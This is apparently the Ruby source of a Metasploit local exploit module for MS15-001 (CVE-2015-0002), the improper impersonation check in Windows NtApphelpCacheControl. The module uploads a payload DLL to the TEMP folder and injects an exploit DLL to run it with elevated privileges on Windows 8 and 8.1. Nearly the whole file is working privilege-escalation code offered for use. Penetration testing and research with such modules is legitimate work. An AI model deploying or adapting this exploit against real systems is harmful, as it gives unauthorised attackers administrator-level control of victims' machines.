##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Process
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
          'Description' => %q{
            On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
            allows application compatibility data to be cached for quick reuse when new processes are
            created. A normal user can query the cache but cannot add new cached entries as the
            operation is restricted to administrators. This is checked in the function
            AhcVerifyAdminContext.

            This function has a vulnerability where it doesn't correctly check the impersonation token
            of the caller to determine if the user is an administrator. It reads the caller's
            impersonation token using PsReferenceImpersonationToken and then does a comparison between
            the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
            of the token so it's possible to get an identify token on your thread from a local system
            process and bypass this check.

            This module currently only affects Windows 8 and Windows 8.1, and requires access to
            C:\Windows\System\ComputerDefaults.exe (although this can be improved).
          },
          'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [],
        'SideEffects' => [],
        'Reliability' => []
      },
          'Author' => [
            'James Forshaw',
            'sinn3r'
          ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'Arch' => [ARCH_X86, ARCH_X64],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
          ],
          'DefaultTarget' => 0,
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            [ 'MSB', 'MS15-001' ],
            [ 'CVE', '2015-0002' ],
          [ 'OSVDB', '116497' ],
            [ 'EDB', '35661' ],
            [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
          ],
          'DisclosureDate' => '2014-09-30'
        }
      )
    )
  end

  def temp
    @temp ||= get_env('TEMP').to_s
  end

  def payload_filepath
    @payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
  end

  def upload_payload_dll(payload_filepath)
    payload = generate_payload_dll({ dll_exitprocess: true })
    begin
      write_file(payload_filepath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end

  def upload_payload
    print_status("Payload DLL will be: #{payload_filepath}")

    # Upload the payload
    upload_payload_dll(payload_filepath)
    if !file?(payload_filepath)
      fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed. No idea why.')
    end
  end

  def check
    version = get_version_info
    if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if session.arch != ARCH_X86
      print_error('Sorry, this module currently only allows x86/win32 sessions.')
      print_error('You will have to get a x86/win32 session first, and then you can')
      print_error("select a x64 payload as this exploit's payload.")
      return
    end

    print_status('Uploading the payload DLL')
    upload_payload

    print_status('Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...')
    lib_file_path = ::File.join(
      Msf::Config.data_directory, 'exploits', 'ntapphelpcachecontrol', 'exploit.dll'
    )
    execute_dll(lib_file_path, payload_filepath)

    print_status('You should now have an elevated session, enjoy!')
  end
end